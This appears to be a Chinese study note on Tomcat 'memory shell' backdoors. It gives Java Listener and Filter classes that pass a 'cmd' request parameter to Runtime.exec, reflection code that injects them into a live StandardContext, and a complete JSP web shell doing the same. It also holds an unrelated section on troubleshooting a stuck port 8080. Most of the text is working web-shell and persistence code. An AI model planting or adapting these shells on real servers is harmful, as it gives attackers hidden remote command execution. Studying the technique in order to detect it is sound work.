Day112_内存马技术



一、Tomcat Listener 内存马
1. Listener 使用
以下是 ServletRequestListener 的实现,用于监听 HTTP 请求并执行特定逻辑。
public class TestListen implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
HttpServletRequest servletRequest = (HttpServletRequest) sre.getServletRequest();
String requestURI = servletRequest.getRequestURI();
if (requestURI.contains("/xiaodi")) {
String cmd = servletRequest.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
ServletRequestListener.super.requestInitialized(sre);
}
}
web.xml 配置
在 web.xml 中添加以下配置以注册 Listener:
<listener>
<listener-class>org.example.testlisten.TestListen</listener-class>
</listener>
2. 断点调试分析
通过断点调试,分析 Listener 的上下文获取过程:
StandardContext#contextApplicationContext#contextServletContext#request.getServletContext
3. 反射调用内存马
通过反射动态添加 Listener,实现内存马注入:
// 获取 Servlet 上下文(ServletContext)
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// 获取 ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 获取 StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 动态添加 Listener
TestListen testListen = new TestListen();
standardContext.addApplicationEventListener(testListen);
二、Tomcat Filter 内存马
1. Filter 使用
以下是 Filter 的实现,用于拦截 HTTP 请求并执行特定逻辑。
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("TestFilter init");
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("TestFilter doFilter");
HttpServletRequest request1 = (HttpServletRequest) request;
String requestURI = request1.getRequestURI();
if (requestURI.contains("/xiaodi")) {
String cmd = request.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
System.out.println("TestFilter destroy");
Filter.super.destroy();
}
}
web.xml 配置
在 web.xml 中添加以下配置以注册 Filter:
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>org.example.testfilter.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
2. 断点调试分析
Filter 相关核心对象包括:
- filterConfigs:存储 Filter 配置信息。
- filterDefs:存储 Filter 类引用和别名。
- filterMaps:存储 Filter 别名和路由映射。
Filter 创建涉及的元素
- Filter 类引用
- Filter 别名
- 对应路由
- 绑定路由的 Filter 别名
- Filter 实例
关键调用
filterDef#filterClassfilterDef#filterNamefilterMap#urlPatternfilterMap#filterName
3. 反射调用内存马
通过反射动态添加 Filter,实现内存马注入:
// 获取 Servlet 上下文(ServletContext)
ServletContext servletContext = request.getServletContext();
// 反射获取 ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// 反射获取 StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 反射获取 filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 创建 FilterDef 对象,设置 Filter 信息
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建 FilterMap 对象,设置 URL 映射(拦截所有资源)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 创建 ApplicationFilterConfig 并写入 filterConfigs
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);三,幽灵端口问题
🧩 1,确认端口状态
-
以管理员身份运行 CMD:
netstat -aon | findstr :8080若无结果,继续下一步。
-
PowerShell 再确认:
Get-Process -Id (Get-NetTCPConnection -LocalPort 8080).OwningProcess若提示 “找不到项”,说明确实没有进程监听 8080 端口。
🧹 2,清理残留进程
-
打开任务管理器 → 进入 详细信息 → 结束所有
java.exe或 IDEA 相关进程; -
或在命令行中执行:
taskkill /F /IM java.exe
这样可彻底清理掉挂起的 Tomcat / Spring Boot 进程。
⚙️ 3,清理 IDEA 缓存
-
关闭 IDEA;
-
删除项目下的以下目录:
.idea out target -
重新打开项目 → 选择 Build → Rebuild Project。
🧰 4,检查运行配置
在 IDEA 顶部菜单中打开:
Run → Edit Configurations
-
删除多余的 Application Server;
-
检查端口是否被固定为
8080; -
若需要修改端口:
server: port: 8090
或修改 Tomcat 的配置文件 conf/server.xml:
<Connector port="8090" protocol="HTTP/1.1" ... />🔁 5,最终方案(保底)
若仍提示端口被占用:
🔄 重启电脑
这将清空挂起的 socket、系统缓存或虚拟化绑定端口问题。
四,杂乱笔记
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%--
Created by IntelliJ IDEA.
User: aicx3
Date: 2025/10/14
Time: 16:20
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class TestFilter implements javax.servlet.Filter {
@Override
public void init(javax.servlet.FilterConfig filterConfig) throws javax.servlet.ServletException {
System.out.println("init");
Filter.super.init(filterConfig);
}
@Override
public void doFilter(javax.servlet.ServletRequest servletRequest, javax.servlet.ServletResponse servletResponse, javax.servlet.FilterChain filterChain) throws IOException, javax.servlet.ServletException {
System.out.println("doFilter");
javax.servlet.http.HttpServletRequest request1 = (javax.servlet.http.HttpServletRequest) servletRequest;
String requestURI = request1.getRequestURI();
String cmd = servletRequest.getParameter("cmd");
if (requestURI.contains("Listen")) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
@Override
public void destroy() {
System.out.println("destroy");
Filter.super.destroy();
}
}
%>
<%
// 获取 Servlet 上下文
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// 获取 ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 获取 StandardContext
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
// 创建并配置 FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("TestFilter");
filterDef.setFilterClass(new TestFilter().getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建并配置 FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("TestFilter");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
%>